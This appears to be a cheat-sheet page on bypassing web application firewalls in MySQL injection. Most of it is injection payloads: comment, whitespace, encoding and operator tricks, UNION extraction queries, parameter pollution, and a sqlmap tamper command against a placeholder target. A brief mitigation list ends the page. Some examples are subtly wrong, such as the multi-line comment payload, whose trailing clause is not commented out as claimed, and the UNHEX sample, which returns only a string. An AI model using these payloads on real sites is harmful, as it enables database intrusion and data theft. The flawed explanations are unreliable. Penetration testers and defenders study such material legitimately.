mysql

Fuzzing and Obfuscation

Techniques for bypassing WAFs and filters in MySQL injection

Fuzzing and Obfuscation

Modern web applications often employ Web Application Firewalls (WAFs) and other security measures to detect and block SQL injection attempts. Fuzzing and obfuscation techniques can help bypass these protections by disguising SQL injection payloads.

Comment Variations

MySQL supports various comment styles that can be inserted between SQL tokens (keywords, identifiers, operators), but cannot split tokens themselves (e.g., SEL/**/ECT is invalid).

-- Comments BETWEEN tokens (valid)
SELECT/*comment*/username,password/**/FROM/**/users

-- MySQL-specific hash comment (comments to end of line)
SELECT # comment
username FROM users WHERE id = 1

-- C-style comments
SELECT /* comment */ username FROM users

-- Executable comments (MySQL extension, content is executed)
SELECT /*! username */ FROM users

Whitespace Manipulation

MySQL is generally flexible with whitespace, allowing creative formatting.

Allowed Intermediary Characters (Whitespace Alternatives)

These characters can substitute for spaces in MySQL queries:

HexDecCharacterURL Encoded
0x099Horizontal Tab%09
0x0A10New Line (LF)%0A
0x0B11Vertical Tab%0B
0x0C12Form Feed/New Page%0C
0x0D13Carriage Return%0D
0x2032Space%20

Note: U+00A0 (Non-breaking Space / 0xA0) does NOT work as whitespace in MySQL’s SQL lexer. Only ASCII whitespace characters (0x09–0x0D and 0x20) are valid for tokenization.

Example payload:

'%0A%09UNION%0CSELECT%0BNULL%20%23

Characters Allowed After AND/OR

These characters can immediately follow AND or OR without spaces:

HexCharacterDescription
0x20(space)Space
0x2B+Plus
0x2D-Minus
0x7E~Tilde
0x21!Exclamation
0x40@At sign

Example payloads:

-- Using + after OR
1 OR+1=1

-- Using - after AND
1 AND-1=-1

-- Using ~ after OR
1 OR~1

-- Using ! after AND
1 AND!0

Parentheses as Whitespace Alternatives

Parentheses can replace spaces around keywords and function calls:

-- No spaces needed with parentheses
UNION(SELECT(column)FROM(table))

-- Complex example
SELECT(username)FROM(users)WHERE(id=1)

-- Nested parentheses
(SELECT(username)FROM(users))

Whitespace Examples

-- Using tabs, newlines, and carriage returns
SELECT
username
FROM
users

-- Using vertical tab and form feed (less common but valid)
SELECT%0Busername%0CFROM%0Busers

-- Excessive whitespace
SELECT       username       FROM       users

Case Variation

MySQL keywords are case-insensitive, but identifier case-sensitivity depends on the operating system:

-- Keywords can be any case
select username from users where id=1
SeLeCt username FrOm users WhErE id=1

Note on identifier case sensitivity:

  • Linux/Unix: Table and database names are case-sensitive (filesystem-dependent)
  • Windows/macOS: Table names are case-insensitive by default
  • Column names: Always case-insensitive in MySQL

This means SELECT * FROM USERS may fail on Linux if the table was created as users.

Operator Alternatives

Many MySQL operators have alternative representations:

-- OR alternatives
1 OR 1=1
1 || 1=1
1 OR '1'='1'

-- AND alternatives
1 AND 1=1
1 && 1=1

-- Equal alternatives
id=1
id<=>1

String Representation

Strings can be represented in multiple ways:

-- Hex encoding
SELECT * FROM users WHERE username = 0x61646d696e -- 'admin' in hex

-- Using CHAR function
SELECT * FROM users WHERE username = CHAR(97, 100, 109, 105, 110) -- 'admin'

-- Concatenation
SELECT * FROM users WHERE username = CONCAT('ad', 'min')

-- Concatenation with functions
SELECT * FROM users WHERE username = CONCAT(LOWER('AD'), LOWER('MIN'))

Numeric Representation

Numbers can be represented in various ways:

-- Mathematical expressions
SELECT * FROM users WHERE id = 1+0

-- Boolean conversions
SELECT * FROM users WHERE id = true+0 -- true = 1

-- Hexadecimal
SELECT * FROM users WHERE id = 0x1 -- hex for 1

-- Scientific notation
SELECT * FROM users WHERE id = 1e0

Function Call Obfuscation

Function names can be obfuscated:

-- Using substrings to construct function names
SELECT * FROM users WHERE id = (SELECT 1)

-- Using prepared statements for dynamic execution
SET @x = 'SELECT * FROM users';
PREPARE stmt FROM @x;
EXECUTE stmt;

UNION Query Obfuscation

UNION attacks can be obfuscated:

-- Adding redundant WHERE (version-dependent, see note below)
1 UNION SELECT 1,2,3 FROM dual WHERE 1=1

-- Using NULL values
1 UNION SELECT NULL,NULL,(SELECT username FROM users LIMIT 1)

-- Nested UNIONs with derived table
1 UNION (SELECT * FROM (SELECT 1,2,3)x)

Note on WHERE without FROM: SELECT ... WHERE without a FROM clause behaves differently across versions:

  • MySQL 5.7: Requires FROM clause (use FROM dual) when using WHERE
  • MySQL 8.0+: WHERE without FROM is allowed (SELECT 1 WHERE 1=1 works)

Encoding Bypasses

URL Encoding

-- Standard URL encoding (RFC 3986)
%74able_%6eame → table_name

-- Double URL encoding (decoded twice by server)
%2574able_%256eame → table_name

-- Legacy %uXXXX encoding (non-standard, see note below)
%u0074able_%u006eame → table_name

-- Invalid hex encoding (ASP/IIS specific)
%tab%le_%na%me → table_name

Note on %uXXXX encoding: This is a legacy JavaScript escape format (escape()/unescape()), not RFC 3986 compliant. Modern servers don’t reliably interpret it, but it may still work for WAF bypasses due to inconsistent decoding across layers (browser URL bar, proxy, WAF, application server). Standard Unicode in URLs uses UTF-8 percent-encoding (e.g., é = %C3%A9).

Comment Obfuscation with Newlines

Using newlines within comment sequences to bypass pattern matching:

-- Vulnerable query:
SELECT * FROM users WHERE id='[INPUT]' AND active=1

-- Injection payload (multi-line):
1'#
AND 0--
UNION SELECT 1,2,3

-- Resulting query (as MySQL sees it):
SELECT * FROM users WHERE id='1'#
AND 0--
UNION SELECT 1,2,3' AND active=1

The # comments out the rest of line 1, AND 0-- is commented out by the preceding #, and UNION SELECT executes. The trailing ' AND active=1 becomes part of the commented/ignored portion. This breaks up the payload across multiple lines, evading single-line pattern matching by WAFs that scan line-by-line.

Keyword Bypass Techniques

Spaces in Identifiers

MySQL allows spaces around dots in qualified names:

-- Add spaces around the dot
information_schema . tables
information_schema . columns

Backtick Escaping

Use backticks to quote identifiers:

-- Backtick-quoted identifiers
`information_schema`.`tables`
`information_schema`.`columns`

Version-Specific Execution

Wrap SQL in executable comments (MySQL-specific extension):

-- Always executed by MySQL, ignored by other DBs
/*! SELECT */ * FROM users

-- Version-conditional: only on MySQL >= 5.0.0
/*!50000 SELECT */ * FROM users

Symbol Spam

Using valid arithmetic operators to confuse WAFs:

-- Valid SQL using multiple operators
1 AND -+--+--+~0
1 AND -+--+--+~~((1))

Quote Flooding

Using excessive quotes to bypass WAFs that count quotes:

-- Using multiple quotes
SELECT 1 FROM dual WHERE 1 = '1'''''''''''''UNION SELECT '2';

Advanced MySQL-specific Bypasses

Using Information Schema

-- Alternative to 'users' table name
SELECT * FROM (SELECT table_name FROM information_schema.tables WHERE table_name LIKE 0x7573657273 LIMIT 1)x -- 'users' in hex

HTTP Parameter Pollution

Some WAFs can be bypassed by splitting the payload across multiple parameters:

?id=1/*&id=*/UNION/*&id=*/SELECT/*&id=*/1,2,3

Practical Examples

Bypassing Simple Keyword Filters

If ‘SELECT’ is blocked:

-- Using MySQL executable comment
/*! SELECT */ username FROM users

-- Using alternate whitespace to break pattern matching
SELECT%09username%0AFROM%0Dusers

-- Using parentheses instead of spaces
(SELECT(username)FROM(users))

Note: String concatenation (CONCAT('SEL','ECT')) cannot be used to construct SQL keywords. Keywords must appear literally in the query; they cannot be dynamically built from strings.

Bypassing WAF Pattern Recognition

If basic injection patterns are blocked:

-- Complex nested logic
1 AND NOT 1=2 UNION ALL SELECT (CASE WHEN (1=1) THEN username ELSE password END), 2 FROM users

-- Mixing encoding techniques
1 AND 0x1=0x1 UNION SELECT UNHEX('73656C65637420757365726E616D652066726F6D20757365727320')

Automated Fuzzing

Tools like SQLMap include fuzzing capabilities to automatically test various bypass techniques:

sqlmap --url="http://target/page.php?id=1" --tamper=space2comment,charencode --random-agent

Mitigation

To protect against obfuscation techniques:

  1. Use parameterized queries instead of string concatenation
  2. Implement a WAF with updated signatures
  3. Use positive security models (whitelist valid patterns)
  4. Limit the database user’s privileges
  5. Monitor and rate-limit suspicious queries
  6. Use security testing tools to validate protections